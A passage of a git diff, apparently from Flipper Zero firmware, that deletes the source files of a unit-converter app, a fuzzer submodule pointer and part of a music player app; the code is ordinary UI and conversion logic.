multi_converter_state->display.key = 0; - multi_converter_state->display.comma = 0; - multi_converter_state->display.negative = 0; -} - -void multi_converter_mode_display_toggle_negative( - MultiConverterState* const multi_converter_state) { - if(multi_converter_get_unit(multi_converter_state->unit_type_orig).allow_negative) { - if(!(multi_converter_state->display).negative) { - // shift origin buffer one to right + add the "-" sign (last digit will be lost) - for(int i = MULTI_CONVERTER_NUMBER_DIGITS - 1; i > 0; i--) { - // we could avoid the blanks, but nevermind - multi_converter_state->buffer_orig[i] = multi_converter_state->buffer_orig[i - 1]; - } - multi_converter_state->buffer_orig[0] = MULTI_CONVERTER_DISPLAY_CHAR_NEGATIVE; - - // only increment cursor if we're not out of bound - if((multi_converter_state->display).cursor < MULTI_CONVERTER_NUMBER_DIGITS) - (multi_converter_state->display).cursor++; - } else { - // shift origin buffer one to left, append ' ' on the end - for(int i = 0; i < MULTI_CONVERTER_NUMBER_DIGITS - 1; i++) { - if(multi_converter_state->buffer_orig[i] == MULTI_CONVERTER_DISPLAY_CHAR_BLANK) - break; - - multi_converter_state->buffer_orig[i] = multi_converter_state->buffer_orig[i + 1]; - } - multi_converter_state->buffer_orig[MULTI_CONVERTER_NUMBER_DIGITS - 1] = - MULTI_CONVERTER_DISPLAY_CHAR_BLANK; - - (multi_converter_state->display).cursor--; - } - - // toggle flag - (multi_converter_state->display).negative ^= 1; - } -} - -void multi_converter_mode_display_add_comma(MultiConverterState* const multi_converter_state) { - if(!multi_converter_get_unit(multi_converter_state->unit_type_orig).allow_comma || - (multi_converter_state->display).comma || !(multi_converter_state->display).cursor || - ((multi_converter_state->display).cursor == (MULTI_CONVERTER_NUMBER_DIGITS - 1))) - return; // maybe not allowerd; or one comma already in place; also cannot add commas as first or last chars - - // set flag to one - (multi_converter_state->display).comma = 1; - - multi_converter_state->buffer_orig[(multi_converter_state->display).cursor] = - MULTI_CONVERTER_DISPLAY_CHAR_COMMA; - (multi_converter_state->display).cursor++; -} - -void multi_converter_mode_display_add_number(MultiConverterState* const multi_converter_state) { - if((multi_converter_state->display).key > - multi_converter_get_unit(multi_converter_state->unit_type_orig).max_number_keys - 1) - return; - - if((multi_converter_state->display).key < 10) { - multi_converter_state->buffer_orig[(multi_converter_state->display).cursor] = - (multi_converter_state->display).key + '0'; - } else { - multi_converter_state->buffer_orig[(multi_converter_state->display).cursor] = - ((multi_converter_state->display).key - 10) + 'A'; - } - - (multi_converter_state->display).cursor++; -} - -MultiConverterModeTrigger multi_converter_mode_display_ok( - uint8_t long_press, - MultiConverterState* const multi_converter_state) { - if((multi_converter_state->display).key < MULTI_CONVERTER_DISPLAY_KEY_DEL) { - if((multi_converter_state->display).cursor >= MULTI_CONVERTER_NUMBER_DIGITS) - return None; // limit reached, ignore - - // long press on 0 toggle NEGATIVE if allowed, on 1 adds COMMA if allowed - if(long_press) { - if((multi_converter_state->display).key == MULTI_CONVERTER_DISPLAY_KEY_NEGATIVE) { - // toggle negative - multi_converter_mode_display_toggle_negative(multi_converter_state); - } else if((multi_converter_state->display).key == MULTI_CONVERTER_DISPLAY_KEY_COMMA) { - // add comma - multi_converter_mode_display_add_comma(multi_converter_state); - } - - } else { - // regular keys - multi_converter_mode_display_add_number(multi_converter_state); - } - - multi_converter_mode_display_convert(multi_converter_state); - - } else if((multi_converter_state->display).key == MULTI_CONVERTER_DISPLAY_KEY_DEL) { - if((multi_converter_state->display).cursor > 0) (multi_converter_state->display).cursor--; - - if(multi_converter_state->buffer_orig[(multi_converter_state->display).cursor] == - MULTI_CONVERTER_DISPLAY_CHAR_COMMA) - (multi_converter_state->display).comma = 0; - if(multi_converter_state->buffer_orig[(multi_converter_state->display).cursor] == - MULTI_CONVERTER_DISPLAY_CHAR_NEGATIVE) - (multi_converter_state->display).negative = 0; - - multi_converter_state->buffer_orig[(multi_converter_state->display).cursor] = - MULTI_CONVERTER_DISPLAY_CHAR_BLANK; - - multi_converter_mode_display_convert(multi_converter_state); - - } else { // MULTI_CONVERTER_DISPLAY_KEY_SELECT - return Reset; - } - - return None; -} \ No newline at end of file diff --git a/applications/external/multi_converter/multi_converter_mode_display.h b/applications/external/multi_converter/multi_converter_mode_display.h deleted file mode 100644 index cae929d35..000000000 --- a/applications/external/multi_converter/multi_converter_mode_display.h +++ /dev/null @@ -1,61 +0,0 @@ -#pragma once - -#include -#include - -#include "multi_converter_definitions.h" -#include "multi_converter_units.h" - -// -// performs a unit conversion from origin to source buffers, if there's any error, overflow or -// non-compatible format (which shouldn't happen, but just in case) abort conversion and outputs -// some "?" strings on the buffer or something similar -// -void multi_converter_mode_display_convert(MultiConverterState* const multi_converter_state); - -// -// draw the main DISPLAY view with the current multi_converter_state values -// -void multi_converter_mode_display_draw( - Canvas* const canvas, - const MultiConverterState* multi_converter_state); - -// -// keyboard navigation on DISPLAY mode (NAVIGATION only, no BACK nor OK - InputKey guaranteed to be left/right/up/down) -// -void multi_converter_mode_display_navigation( - InputKey key, - MultiConverterState* const multi_converter_state); - -// -// reset the DISPLAY mode with the current units, cleaning the buffers and different flags; -// call this when exiting the SELECT mode / changing the units -// -void multi_converter_mode_display_reset(MultiConverterState* const multi_converter_state); - -// -// toggle the negative flag on current selected buffer ONLY if the unit allows negative numbers -// (adding negative number may crop the last char on the buffer; it cannot be recovered) -// -void multi_converter_mode_display_toggle_negative(MultiConverterState* const multi_converter_state); - -// -// add a comma/dot/decimal separator/whatever on current selected buffer ONLY if the unit allows it -// (only ONE comma allowed, not in the beginning nor end) -// -void multi_converter_mode_display_add_comma(MultiConverterState* const multi_converter_state); - -// -// add a regular number to the buffer if it's <= the max_number_keys from the unit (not necessary -// since the draw and navigation functions won't allow a trigger for an invalid number, but still -// to keep the "checks" policy on each "add key" function...) -// -void multi_converter_mode_display_add_number(MultiConverterState* const multi_converter_state); - -// -// handle the OK action when selecting a specific key on the keyboard (add a number, a symbol, change mode...) -// returns a ModeTrigger enum value: may or may not let to a mode change on the main loop (WON'T change the mode here) -// -MultiConverterModeTrigger multi_converter_mode_display_ok( - uint8_t long_press, - MultiConverterState* const multi_converter_state); \ No newline at end of file diff --git a/applications/external/multi_converter/multi_converter_mode_select.c b/applications/external/multi_converter/multi_converter_mode_select.c deleted file mode 100644 index a56ccd58c..000000000 --- a/applications/external/multi_converter/multi_converter_mode_select.c +++ /dev/null @@ -1,210 +0,0 @@ -#include "multi_converter_mode_select.h" - -#define MULTI_CONVERTER_LIST_ENTRIES_COUNT 3 - -#define MULTI_CONVERTER_INFO_STRING_FROM "FROM:" -#define MULTI_CONVERTER_INFO_STRING_TO "TO:" -#define MULTI_CONVERTER_INFO_STRING_OK "OK: Change" -#define MULTI_CONVERTER_INFO_STRING_BACK "BACK: Cancel" - -void multi_converter_mode_select_draw_destination_offset( - uint8_t x, - uint8_t y, - int8_t d, - Canvas* const canvas, - const MultiConverterState* multi_converter_state) { - int i = 1; - while( - i < - MULTI_CONVERTER_AVAILABLE_UNITS) { // in case there's no match, to avoid an endless loop (in theory shouldn't happen, but...) - int ut = multi_converter_get_unit_type_offset( - (multi_converter_state->select).selected_unit_type_dest, i * d); - if(multi_converter_available_units[(multi_converter_state->select).selected_unit_type_orig] - .allowed_function(ut) && - (multi_converter_state->select).selected_unit_type_orig != ut) { - canvas_draw_str(canvas, x, y, multi_converter_available_units[ut].name); - break; - } - i++; - } -} - -void multi_converter_mode_select_draw_selected_unit( - uint8_t x, - uint8_t y, - MultiConverterUnitType unit_type, - Canvas* const canvas) { - canvas_draw_box( - canvas, - x - 2, - y - 10, - canvas_string_width(canvas, multi_converter_available_units[unit_type].name) + 4, - 13); - canvas_set_color(canvas, ColorWhite); - canvas_draw_str(canvas, x, y, multi_converter_available_units[unit_type].name); - canvas_set_color(canvas, ColorBlack); -} - -void multi_converter_mode_select_draw( - Canvas* const canvas, - const MultiConverterState* multi_converter_state) { - int y = 10; - int x = 10; - - canvas_set_color(canvas, ColorBlack); - - // FROM - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, x, y, MULTI_CONVERTER_INFO_STRING_FROM); - - canvas_set_font(canvas, FontSecondary); - - // offset -1 - y += 12; - - canvas_draw_str( - canvas, - x, - y, - multi_converter_available_units[multi_converter_get_unit_type_offset( - (multi_converter_state->select).selected_unit_type_orig, - -1)] - .name); - - // current selected element - y += 12; - - multi_converter_mode_select_draw_selected_unit( - x, y, (multi_converter_state->select).selected_unit_type_orig, canvas); - - if((multi_converter_state->select).select_orig) canvas_draw_str(canvas, x - 6, y, ">"); - - // offset +1 - y += 12; - - canvas_draw_str( - canvas, - x, - y, - multi_converter_available_units[multi_converter_get_unit_type_offset( - (multi_converter_state->select).selected_unit_type_orig, - 1)] - .name); - - // TO - y = 10; - x = 70; - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, x, y, MULTI_CONVERTER_INFO_STRING_TO); - - canvas_set_font(canvas, FontSecondary); - - // offset -1: go back from current selected destination and find the first one valid (even if it's itself) - y += 12; - - multi_converter_mode_select_draw_destination_offset(x, y, -1, canvas, multi_converter_state); - - // current selected element - y += 12; - - multi_converter_mode_select_draw_selected_unit( - x, y, (multi_converter_state->select).selected_unit_type_dest, canvas); - - if(!(multi_converter_state->select).select_orig) canvas_draw_str(canvas, x - 6, y, ">"); - - // offset +1: same but on the opposite direction - y += 12; - - multi_converter_mode_select_draw_destination_offset(x, y, 1, canvas, multi_converter_state); - - // OK / CANCEL - - canvas_set_color(canvas, ColorBlack); - canvas_draw_box( - canvas, 0, 64 - 12, canvas_string_width(canvas, MULTI_CONVERTER_INFO_STRING_OK) + 4, 12); - canvas_draw_box( - canvas, - 128 - 4 - canvas_string_width(canvas, MULTI_CONVERTER_INFO_STRING_BACK), - 64 - 12, - canvas_string_width(canvas, "BACK: Cancel") + 4, - 12); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_str(canvas, 2, 64 - 3, MULTI_CONVERTER_INFO_STRING_OK); - canvas_draw_str( - canvas, - 128 - 2 - canvas_string_width(canvas, MULTI_CONVERTER_INFO_STRING_BACK), - 64 - 3, - MULTI_CONVERTER_INFO_STRING_BACK); -} - -void multi_converter_mode_select_reset(MultiConverterState* const multi_converter_state) { - // initial pre-selected values are equal to the current selected values - (multi_converter_state->select).selected_unit_type_orig = - multi_converter_state->unit_type_orig; - (multi_converter_state->select).selected_unit_type_dest = - multi_converter_state->unit_type_dest; - - (multi_converter_state->select).select_orig = 1; -} - -MultiConverterModeTrigger multi_converter_mode_select_exit( - uint8_t save_changes, - MultiConverterState* const multi_converter_state) { - if(save_changes) { - multi_converter_state->unit_type_dest = - (multi_converter_state->select).selected_unit_type_dest; - - if(multi_converter_state->unit_type_orig == - (multi_converter_state->select).selected_unit_type_orig) { - // if the ORIGIN unit didn't changed, just trigger the convert - - return Convert; - } else { - multi_converter_state->unit_type_orig = - (multi_converter_state->select).selected_unit_type_orig; - multi_converter_state->unit_type_dest = - (multi_converter_state->select).selected_unit_type_dest; - - return Reset; - } - } - - return None; -} - -void multi_converter_mode_select_switch(MultiConverterState* const multi_converter_state) { - (multi_converter_state->select).select_orig ^= 1; -} - -void multi_converter_mode_select_change_unit( - int8_t direction, - MultiConverterState* const multi_converter_state) { - MultiConverterUnitType d; - if((multi_converter_state->select).select_orig) { - (multi_converter_state->select).selected_unit_type_orig = - multi_converter_get_unit_type_offset( - (multi_converter_state->select).selected_unit_type_orig, direction); - d = (multi_converter_state->select).selected_unit_type_dest; - } else { - d = ((multi_converter_state->select).selected_unit_type_dest + direction) % - MULTI_CONVERTER_AVAILABLE_UNITS; - } - - // check each unit with the ORIGIN allowed_function() to make sure we're selecting a valid DESTINATION - // (when changing the ORIGIN unit the DIRECTION in which we'll switch the DESTINATION will be the SAME); - // also notice that ORIGIN must be DIFFERENT than DESTINATION - int i = 0; - while(i < MULTI_CONVERTER_AVAILABLE_UNITS) { - if(multi_converter_available_units[(multi_converter_state->select).selected_unit_type_orig] - .allowed_function(d) && - (multi_converter_state->select).selected_unit_type_orig != d) { - (multi_converter_state->select).selected_unit_type_dest = d; - break; - } - - d = multi_converter_get_unit_type_offset(d, direction); - i++; - } -} diff --git a/applications/external/multi_converter/multi_converter_mode_select.h b/applications/external/multi_converter/multi_converter_mode_select.h deleted file mode 100644 index c10ab8e01..000000000 --- a/applications/external/multi_converter/multi_converter_mode_select.h +++ /dev/null @@ -1,73 +0,0 @@ -#pragma once - -#include -#include -#include - -#include "multi_converter_definitions.h" -#include "multi_converter_units.h" - -// -// aux draw function for units offsets and draw stuff -// -void multi_converter_mode_select_draw_destination_offset( - uint8_t x, - uint8_t y, - int8_t d, - Canvas* const canvas, - const MultiConverterState* multi_converter_state); - -void multi_converter_mode_select_draw_selected_unit( - uint8_t x, - uint8_t y, - MultiConverterUnitType unit_type, - Canvas* const canvas); - -// -// draw the main SELECT view with the current multi_converter_state values -// -void multi_converter_mode_select_draw( - Canvas* const canvas, - const MultiConverterState* multi_converter_state); - -// -// reset the SELECT mode view, showing as "pre-selected" the current working units -// -void multi_converter_mode_select_reset(MultiConverterState* const multi_converter_state); - -// -// exit from SELECT mode and go back to display view, if save_changes == 1 use the current SELECT view info -// to modify the current selected units and reset the views properly (usually if the ORIGIN unit has been -// changed, reset everything; otherwise just trigger the convert function with a new DESTINATION) -// -// currently this function DON'T CHECK invalid unit relations (the navigation and display functions will -// prevent weird behaviours, so for now we're trusting the selected_unit_orig/dest_type values) -// -// returns an enum code MultiConverterDisplayTrigger based on doing nothing (cancel), triggering the display -// convert method or reseting the whole display mode (when fully changing the units) -// -// notice the MODE CHANGE itself is not done here but in the main loop (outside the call) via the ModeTrigger enum element -// -MultiConverterModeTrigger multi_converter_mode_select_exit( - uint8_t save_changes, - MultiConverterState* const multi_converter_state); - -// -// switch between selecting the ORIGIN or the DESTINATION unit on DISPLAY mode (since there're only -// two options, both left/right arrow keys acts as toggles, no "direction" required) -// -void multi_converter_mode_select_switch(MultiConverterState* const multi_converter_state); - -// -// change the selected unit on SELECTED mode, using the select_orig flag to check if we're switching the -// ORIGIN or the DESTINATION unit; the DIRECTION (up or down to travel the array) is set as a param -// -// when switching the ORIGIN one, reset the DESTINATION to the first valid unit (if the current one is not -// valid anymore); when switching the DESTINATION one, an allowed_function() check is performed in order to -// properly set a valid destination unit. -// -// (notice the draw step also perform which units are valid to display, so no worries about that here) -// -void multi_converter_mode_select_change_unit( - int8_t direction, - MultiConverterState* const multi_converter_state); diff --git a/applications/external/multi_converter/multi_converter_units.c b/applications/external/multi_converter/multi_converter_units.c deleted file mode 100644 index 4381f0e6e..000000000 --- a/applications/external/multi_converter/multi_converter_units.c +++ /dev/null @@ -1,261 +0,0 @@ -#include "multi_converter_units.h" - -#define MULTI_CONVERTER_CHAR_OVERFLOW '#' -#define MULTI_CONVERTER_MAX_SUPORTED_INT 999999999 - -#define multi_converter_unit_set_overflow(b) \ - for(int _i = 0; _i < MULTI_CONVERTER_NUMBER_DIGITS; _i++) \ - b[_i] = MULTI_CONVERTER_CHAR_OVERFLOW; - -// -// DEC / HEX / BIN conversion -// -void multi_converter_unit_dec_hex_bin_convert(MultiConverterState* const multi_converter_state) { - char dest[MULTI_CONVERTER_NUMBER_DIGITS]; - - int i = 0; - uint8_t overflow = 0; - - int a = 0; - int r = 0; - uint8_t f = 1; - - switch(multi_converter_state->unit_type_orig) { - default: - break; - case UnitTypeDec: { - a = atoi(multi_converter_state->buffer_orig); - f = (multi_converter_state->unit_type_dest == UnitTypeHex ? 16 : 2); - - break; - } - case UnitTypeHex: - a = strtol(multi_converter_state->buffer_orig, NULL, 16); - f = (multi_converter_state->unit_type_dest == UnitTypeDec ? 10 : 2); - - break; - case UnitTypeBin: - a = strtol(multi_converter_state->buffer_orig, NULL, 2); - f = (multi_converter_state->unit_type_dest == UnitTypeDec ? 10 : 16); - - break; - } - - while(a > 0) { - r = a % f; - dest[i] = r + (r < 10 ? '0' : ('A' - 10)); - a /= f; - if(i++ >= MULTI_CONVERTER_NUMBER_DIGITS) { - overflow = 1; - break; - } - } - - if(overflow) { - multi_converter_unit_set_overflow(multi_converter_state->buffer_dest); - } else { - // copy DEST (reversed) to destination and append empty chars at the end - for(int j = 0; j < MULTI_CONVERTER_NUMBER_DIGITS; j++) { - if(i >= 1) - multi_converter_state->buffer_dest[j] = dest[--i]; - else - multi_converter_state->buffer_dest[j] = ' '; - } - } -} - -uint8_t multi_converter_unit_dec_hex_bin_allowed(MultiConverterUnitType unit_type) { - return (unit_type == UnitTypeDec || unit_type == UnitTypeHex || unit_type == UnitTypeBin); -} - -// -// CEL / FAR / KEL -// -void multi_converter_unit_temperature_convert(MultiConverterState* const multi_converter_state) { - double a = strtof(multi_converter_state->buffer_orig, NULL); - uint8_t overflow = 0; - - switch(multi_converter_state->unit_type_orig) { - default: - break; - case UnitTypeCelsius: - if(multi_converter_state->unit_type_dest == UnitTypeFahernheit) { - // celsius to fahrenheit - a = (a * ((double)1.8)) + 32; - } else { // UnitTypeKelvin - a += ((double)273.15); - } - - break; - case UnitTypeFahernheit: - // fahrenheit to celsius, always - a = (a - 32) / ((double)1.8); - if(multi_converter_state->unit_type_dest == UnitTypeKelvin) { - // if kelvin, add - a += ((double)273.15); - } - - break; - case UnitTypeKelvin: - // kelvin to celsius, always - a -= ((double)273.15); - if(multi_converter_state->unit_type_dest == UnitTypeFahernheit) { - // if fahernheit, convert - a = (a * ((double)1.8)) + 32; - } - - break; - } - - if(overflow) { - multi_converter_unit_set_overflow(multi_converter_state->buffer_dest); - } else { - int ret = snprintf( - multi_converter_state->buffer_dest, MULTI_CONVERTER_NUMBER_DIGITS + 1, "%.3lf", a); - - if(ret < 0) multi_converter_unit_set_overflow(multi_converter_state->buffer_dest); - } -} - -uint8_t multi_converter_unit_temperature_allowed(MultiConverterUnitType unit_type) { - return ( - unit_type == UnitTypeCelsius || unit_type == UnitTypeFahernheit || - unit_type == UnitTypeKelvin); -} - -// -// KM / M / CM / MILES / FEET / INCHES -// - -void multi_converter_unit_distance_convert(MultiConverterState* const multi_converter_state) { - double a = strtof(multi_converter_state->buffer_orig, NULL); - uint8_t overflow = 0; - - switch(multi_converter_state->unit_type_orig) { - default: - break; - case UnitTypeKilometers: - if(multi_converter_state->unit_type_dest == UnitTypeMeters) - a *= ((double)1000); - else if(multi_converter_state->unit_type_dest == UnitTypeCentimeters) - a *= ((double)100000); - else if(multi_converter_state->unit_type_dest == UnitTypeMiles) - a *= ((double)0.6213711); - else if(multi_converter_state->unit_type_dest == UnitTypeFeet) - a *= ((double)3280.839895013); - else if(multi_converter_state->unit_type_dest == UnitTypeInches) - a *= ((double)39370.078740157); - break; - case UnitTypeMeters: - if(multi_converter_state->unit_type_dest == UnitTypeKilometers) - a /= ((double)1000); - else if(multi_converter_state->unit_type_dest == UnitTypeCentimeters) - a *= ((double)100); - else if(multi_converter_state->unit_type_dest == UnitTypeMiles) - a *= ((double)0.0006213711); - else if(multi_converter_state->unit_type_dest == UnitTypeFeet) - a *= ((double)3.280839895013); - else if(multi_converter_state->unit_type_dest == UnitTypeInches) - a *= ((double)39.370078740157); - break; - case UnitTypeCentimeters: - if(multi_converter_state->unit_type_dest == UnitTypeKilometers) - a /= ((double)100000); - else if(multi_converter_state->unit_type_dest == UnitTypeMeters) - a /= ((double)100); - else if(multi_converter_state->unit_type_dest == UnitTypeMiles) - a *= ((double)0.000006213711); - else if(multi_converter_state->unit_type_dest == UnitTypeFeet) - a *= ((double)0.03280839895013); - else if(multi_converter_state->unit_type_dest == UnitTypeInches) - a *= ((double)0.39370078740157); - break; - - case UnitTypeMiles: - if(multi_converter_state->unit_type_dest == UnitTypeKilometers) - a *= ((double)1.609344); - else if(multi_converter_state->unit_type_dest == UnitTypeMeters) - a *= ((double)1609.344); - else if(multi_converter_state->unit_type_dest == UnitTypeCentimeters) - a *= ((double)160934.4); - else if(multi_converter_state->unit_type_dest == UnitTypeFeet) - a *= ((double)5280); - else if(multi_converter_state->unit_type_dest == UnitTypeInches) - a *= ((double)63360); - break; - case UnitTypeFeet: - if(multi_converter_state->unit_type_dest == UnitTypeKilometers) - a *= ((double)0.0003048); - else if(multi_converter_state->unit_type_dest == UnitTypeMeters) - a *= ((double)0.3048); - else if(multi_converter_state->unit_type_dest == UnitTypeCentimeters) - a *= ((double)30.48); - else if(multi_converter_state->unit_type_dest == UnitTypeMiles) - a *= ((double)0.000189393939394); - else if(multi_converter_state->unit_type_dest == UnitTypeInches) - a *= ((double)12); - break; - case UnitTypeInches: - if(multi_converter_state->unit_type_dest == UnitTypeKilometers) - a *= ((double)0.0000254); - else if(multi_converter_state->unit_type_dest == UnitTypeMeters) - a *= ((double)0.0254); - else if(multi_converter_state->unit_type_dest == UnitTypeCentimeters) - a *= ((double)2.54); - else if(multi_converter_state->unit_type_dest == UnitTypeMiles) - a *= ((double)0.0000157828282828); - else if(multi_converter_state->unit_type_dest == UnitTypeFeet) - a *= ((double)0.0833333333333); - break; - } - - if(overflow) { - multi_converter_unit_set_overflow(multi_converter_state->buffer_dest); - } else { - int ret = snprintf( - multi_converter_state->buffer_dest, MULTI_CONVERTER_NUMBER_DIGITS + 1, "%lf", a); - - if(ret < 0) multi_converter_unit_set_overflow(multi_converter_state->buffer_dest); - } -} - -uint8_t multi_converter_unit_distance_allowed(MultiConverterUnitType unit_type) { - return ( - unit_type == UnitTypeKilometers || unit_type == UnitTypeMeters || - unit_type == UnitTypeCentimeters || unit_type == UnitTypeMiles || - unit_type == UnitTypeFeet || unit_type == UnitTypeInches); -} - -// -// DEG / RAD -// - -void multi_converter_unit_angle_convert(MultiConverterState* const multi_converter_state) { - double a = strtof(multi_converter_state->buffer_orig, NULL); - uint8_t overflow = 0; - - switch(multi_converter_state->unit_type_orig) { - default: - break; - case UnitTypeDegree: - if(multi_converter_state->unit_type_dest == UnitTypeRadian) a *= ((double)0.0174532925199); - break; - - case UnitTypeRadian: - if(multi_converter_state->unit_type_dest == UnitTypeDegree) a *= ((double)57.2957795131); - break; - } - - if(overflow) { - multi_converter_unit_set_overflow(multi_converter_state->buffer_dest); - } else { - int ret = snprintf( - multi_converter_state->buffer_dest, MULTI_CONVERTER_NUMBER_DIGITS + 1, "%lf", a); - - if(ret < 0) multi_converter_unit_set_overflow(multi_converter_state->buffer_dest); - } -} - -uint8_t multi_converter_unit_angle_allowed(MultiConverterUnitType unit_type) { - return (unit_type == UnitTypeDegree || unit_type == UnitTypeRadian); -} \ No newline at end of file diff --git a/applications/external/multi_converter/multi_converter_units.h b/applications/external/multi_converter/multi_converter_units.h deleted file mode 100644 index 6d3b477bb..000000000 --- a/applications/external/multi_converter/multi_converter_units.h +++ /dev/null @@ -1,171 +0,0 @@ -#pragma once - -#include -#include - -#include "multi_converter_definitions.h" - -#define MULTI_CONVERTER_AVAILABLE_UNITS 14 - -#define multi_converter_get_unit(unit_type) multi_converter_available_units[unit_type] -#define multi_converter_get_unit_type_offset(unit_type, offset) \ - (((unit_type + offset) % MULTI_CONVERTER_AVAILABLE_UNITS + MULTI_CONVERTER_AVAILABLE_UNITS) % \ - MULTI_CONVERTER_AVAILABLE_UNITS) -// the modulo operation will fail with extremely large values on the units array - -// DEC / HEX / BIN -void multi_converter_unit_dec_hex_bin_convert(MultiConverterState* const multi_converter_state); -uint8_t multi_converter_unit_dec_hex_bin_allowed(MultiConverterUnitType); - -// CEL / FAR / KEL -void multi_converter_unit_temperature_convert(MultiConverterState* const multi_converter_state); -uint8_t multi_converter_unit_temperature_allowed(MultiConverterUnitType); - -// KM / M / CM / MILES / FEET / INCHES -void multi_converter_unit_distance_convert(MultiConverterState* const multi_converter_state); -uint8_t multi_converter_unit_distance_allowed(MultiConverterUnitType); - -// DEG / RAD -void multi_converter_unit_angle_convert(MultiConverterState* const multi_converter_state); -uint8_t multi_converter_unit_angle_allowed(MultiConverterUnitType unit_type); - -// -// each unit is made of comma? + negative? + keyboard_length + mini_name + name + convert function + allowed function -// (setting functions as NULL will cause convert / select options to be ignored) -// -static const MultiConverterUnit multi_converter_unit_dec = { - 0, - 0, - 10, - "DEC\0", - "Decimal\0", - multi_converter_unit_dec_hex_bin_convert, - multi_converter_unit_dec_hex_bin_allowed}; -static const MultiConverterUnit multi_converter_unit_hex = { - 0, - 0, - 16, - "HEX\0", - "Hexadecimal\0", - multi_converter_unit_dec_hex_bin_convert, - multi_converter_unit_dec_hex_bin_allowed}; -static const MultiConverterUnit multi_converter_unit_bin = { - 0, - 0, - 2, - "BIN\0", - "Binary\0", - multi_converter_unit_dec_hex_bin_convert, - multi_converter_unit_dec_hex_bin_allowed}; - -static const MultiConverterUnit multi_converter_unit_cel = { - 1, - 1, - 10, - "CEL\0", - "Celsius\0", - multi_converter_unit_temperature_convert, - multi_converter_unit_temperature_allowed}; -static const MultiConverterUnit multi_converter_unit_far = { - 1, - 1, - 10, - "FAR\0", - "Fahernheit\0", - multi_converter_unit_temperature_convert, - multi_converter_unit_temperature_allowed}; -static const MultiConverterUnit multi_converter_unit_kel = { - 1, - 1, - 10, - "KEL\0", - "Kelvin\0", - multi_converter_unit_temperature_convert, - multi_converter_unit_temperature_allowed}; - -static const MultiConverterUnit multi_converter_unit_km = { - 1, - 0, - 10, - "KM\0", - "Kilometers\0", - multi_converter_unit_distance_convert, - multi_converter_unit_distance_allowed}; -static const MultiConverterUnit multi_converter_unit_m = { - 1, - 0, - 10, - "M\0", - "Meters\0", - multi_converter_unit_distance_convert, - multi_converter_unit_distance_allowed}; -static const MultiConverterUnit multi_converter_unit_cm = { - 1, - 0, - 10, - "CM\0", - "Centimeters\0", - multi_converter_unit_distance_convert, - multi_converter_unit_distance_allowed}; -static const MultiConverterUnit multi_converter_unit_mi = { - 1, - 0, - 10, - "MI\0", - "Miles\0", - multi_converter_unit_distance_convert, - multi_converter_unit_distance_allowed}; -static const MultiConverterUnit multi_converter_unit_ft = { - 1, - 0, - 10, - "FT\0", - "Feet\0", - multi_converter_unit_distance_convert, - multi_converter_unit_distance_allowed}; -static const MultiConverterUnit multi_converter_unit_in = { - 1, - 0, - 10, - " \"\0", - "Inches\0", - multi_converter_unit_distance_convert, - multi_converter_unit_distance_allowed}; - -static const MultiConverterUnit multi_converter_unit_deg = { - 1, - 0, - 10, - "DEG\0", - "Degree\0", - multi_converter_unit_angle_convert, - multi_converter_unit_angle_allowed}; -static const MultiConverterUnit multi_converter_unit_rad = { - 1, - 0, - 10, - "RAD\0", - "Radian\0", - multi_converter_unit_angle_convert, - multi_converter_unit_angle_allowed}; - -// index order set by the MultiConverterUnitType enum element (multi_converter_definitions.h) -static const MultiConverterUnit multi_converter_available_units[MULTI_CONVERTER_AVAILABLE_UNITS] = { - [UnitTypeDec] = multi_converter_unit_dec, - [UnitTypeHex] = multi_converter_unit_hex, - [UnitTypeBin] = multi_converter_unit_bin, - - [UnitTypeCelsius] = multi_converter_unit_cel, - [UnitTypeFahernheit] = multi_converter_unit_far, - [UnitTypeKelvin] = multi_converter_unit_kel, - - [UnitTypeKilometers] = multi_converter_unit_km, - [UnitTypeMeters] = multi_converter_unit_m, - [UnitTypeCentimeters] = multi_converter_unit_cm, - [UnitTypeMiles] = multi_converter_unit_mi, - [UnitTypeFeet] = multi_converter_unit_ft, - [UnitTypeInches] = multi_converter_unit_in, - - [UnitTypeDegree] = multi_converter_unit_deg, - [UnitTypeRadian] = multi_converter_unit_rad, -}; \ No newline at end of file diff --git a/applications/external/multi_fuzzer b/applications/external/multi_fuzzer deleted file mode 160000 index 64a4d768b..000000000 --- a/applications/external/multi_fuzzer +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 64a4d768b26ac2a21eb8423fa5e6552a9ef7465b diff --git a/applications/external/music_player/application.fam b/applications/external/music_player/application.fam deleted file mode 100644 index c9cd5e44d..000000000 --- a/applications/external/music_player/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="music_player", - name="Music Player", - apptype=FlipperAppType.EXTERNAL, - entry_point="music_player_app", - requires=[ - "gui", - "dialogs", - ], - stack_size=2 * 1024, - order=20, - fap_icon="icons/music_10px.png", - fap_category="Media", - fap_icon_assets="icons", - fap_libs=["music_worker"], -) diff --git a/applications/external/music_player/icons/music_10px.png b/applications/external/music_player/icons/music_10px.png deleted file mode 100644 index d41eb0db8..000000000 Binary files a/applications/external/music_player/icons/music_10px.png and /dev/null differ diff --git a/applications/external/music_player/music_player.c b/applications/external/music_player/music_player.c deleted file mode 100644 index c353f2075..000000000 --- a/applications/external/music_player/music_player.c +++ /dev/null @@ -1,367 +0,0 @@ -#include - -#include -#include - -#include -#include -#include -#include - -#define TAG "MusicPlayer" - -#define MUSIC_PLAYER_APP_PATH_FOLDER ANY_PATH("music_player") -#define MUSIC_PLAYER_APP_EXTENSION "*" - -#define MUSIC_PLAYER_SEMITONE_HISTORY_SIZE 4 - -typedef struct { - uint8_t semitone_history[MUSIC_PLAYER_SEMITONE_HISTORY_SIZE]; - uint8_t duration_history[MUSIC_PLAYER_SEMITONE_HISTORY_SIZE]; - - uint8_t volume; - uint8_t semitone; - uint8_t dots; - uint8_t duration; - float position; -} MusicPlayerModel; - -typedef struct { - MusicPlayerModel* model; - FuriMutex** model_mutex; - - FuriMessageQueue* input_queue; - - ViewPort* view_port; - Gui* gui; - - MusicWorker* worker; -} MusicPlayer; - -static const float MUSIC_PLAYER_VOLUMES[] = {0, .25, .5, .75, 1}; - -static const char* semitone_to_note(int8_t semitone) { - switch(semitone) { - case 0: - return "C"; - case 1: - return "C#"; - case 2: - return "D"; - case 3: - return "D#"; - case 4: - return "E"; - case 5: - return "F"; - case 6: - return "F#"; - case 7: - return "G"; - case 8: - return "G#"; - case 9: - return "A"; - case 10: - return "A#"; - case 11: - return "B"; - default: - return "--"; - } -} - -static bool is_white_note(uint8_t semitone, uint8_t 